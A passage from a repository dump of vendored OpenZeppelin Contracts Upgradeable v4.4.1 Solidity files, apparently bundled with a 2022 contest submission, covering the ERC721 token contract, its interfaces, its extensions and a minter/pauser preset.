return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721ReceiverUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/README.adoc
================================================
= ERC 721
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc721
This set of interfaces, contracts, and utilities are all related to the https://eips.ethereum.org/EIPS/eip-721[ERC721 Non-Fungible Token Standard].
TIP: For a walk through on how to create an ERC721 token read our xref:ROOT:erc721.adoc[ERC721 guide].
The EIP consists of three interfaces, found here as {IERC721}, {IERC721Metadata}, and {IERC721Enumerable}. Only the first one is required in a contract to be ERC721 compliant. The core interface and the metadata extension are both implemented in {ERC721}. The enumerable extension is provided separately in {ERC721Enumerable}.
Additionally, {IERC721Receiver} can be used to prevent tokens from becoming forever locked in contracts. Imagine sending an in-game item to an exchange address that can't send it back!. When using <>, the token contract checks to see that the receiver is an {IERC721Receiver}, which implies that it knows how to handle {ERC721} tokens. If you're writing a contract that needs to receive {ERC721} tokens, you'll want to include this interface.
Additionally there are multiple custom extensions, including:
* designation of addresses that can pause token transfers for all users ({ERC721Pausable}).
* destruction of own tokens ({ERC721Burnable}).
NOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC721 (such as <>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc721.adoc#Presets[ERC721 Presets] (such as {ERC721PresetMinterPauserAutoId}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.
== Core
{{IERC721}}
{{IERC721Metadata}}
{{IERC721Enumerable}}
{{ERC721}}
{{ERC721Enumerable}}
{{IERC721Receiver}}
== Extensions
{{ERC721Pausable}}
{{ERC721Burnable}}
{{ERC721URIStorage}}
== Presets
These contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.
{{ERC721PresetMinterPauserAutoId}}
== Utilities
{{ERC721Holder}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721BurnableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {
function __ERC721Burnable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Burnable_init_unchained();
}
function __ERC721Burnable_init_unchained() internal onlyInitializing {
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal onlyInitializing {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721PausableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../security/PausableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable {
function __ERC721Pausable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__Pausable_init_unchained();
__ERC721Pausable_init_unchained();
}
function __ERC721Pausable_init_unchained() internal onlyInitializing {
}
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorageUpgradeable is Initializable, ERC721Upgradeable {
function __ERC721URIStorage_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721URIStorage_init_unchained();
}
function __ERC721URIStorage_init_unchained() internal onlyInitializing {
}
using StringsUpgradeable for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/IERC721MetadataUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/presets/ERC721PresetMinterPauserAutoIdUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/presets/ERC721PresetMinterPauserAutoId.sol)
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "../extensions/ERC721EnumerableUpgradeable.sol";
import "../extensions/ERC721BurnableUpgradeable.sol";
import "../extensions/ERC721PausableUpgradeable.sol";
import "../../../access/AccessControlEnumerableUpgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../utils/CountersUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
* - token ID and URI autogeneration
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC721PresetMinterPauserAutoIdUpgradeable is
Initializable, ContextUpgradeable,
AccessControlEnumerableUpgradeable,
ERC721EnumerableUpgradeable,
ERC721BurnableUpgradeable,
ERC721PausableUpgradeable
{
function initialize(
string memory name,
string memory symbol,
string memory baseTokenURI
) public virtual initializer {
__ERC721PresetMinterPauserAutoId_init(name, symbol, baseTokenURI);
}
using CountersUpgradeable for CountersUpgradeable.Counter;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
CountersUpgradeable.Counter private _tokenIdTracker;
string private _baseTokenURI;
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* Token URIs will be autogenerated based on `baseURI` and their token IDs.
* See {ERC721-tokenURI}.
*/
function __ERC721PresetMinterPauserAutoId_init(
string memory name,
string memory symbol,
string memory baseTokenURI
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC721_init_unchained(name, symbol);
__ERC721Enumerable_init_unchained();
__ERC721Burnable_init_unchained();
__Pausable_init_unchained();
__ERC721Pausable_init_unchained();
__ERC721PresetMinterPauserAutoId_init_unchained(name, symbol, baseTokenURI);
}
function __ERC721PresetMinterPauserAutoId_init_unchained(
string memory name,
string memory symbol,
string memory baseTokenURI
) internal onlyInitializing {
_baseTokenURI = baseTokenURI;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
/**
* @dev Creates a new token for `to`. Its token ID will be automatically
* assigned (and available on the emitted {IERC721-Transfer} event), and the token
* URI autogenerated based on the base URI passed at construction.
*
* See {ERC721-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
// We cannot just use balanceOf to create the new tokenId because tokens
// can be burned (destroyed), so we need a separate counter.
_mint(to, _tokenIdTracker.current());
_tokenIdTracker.increment();
}
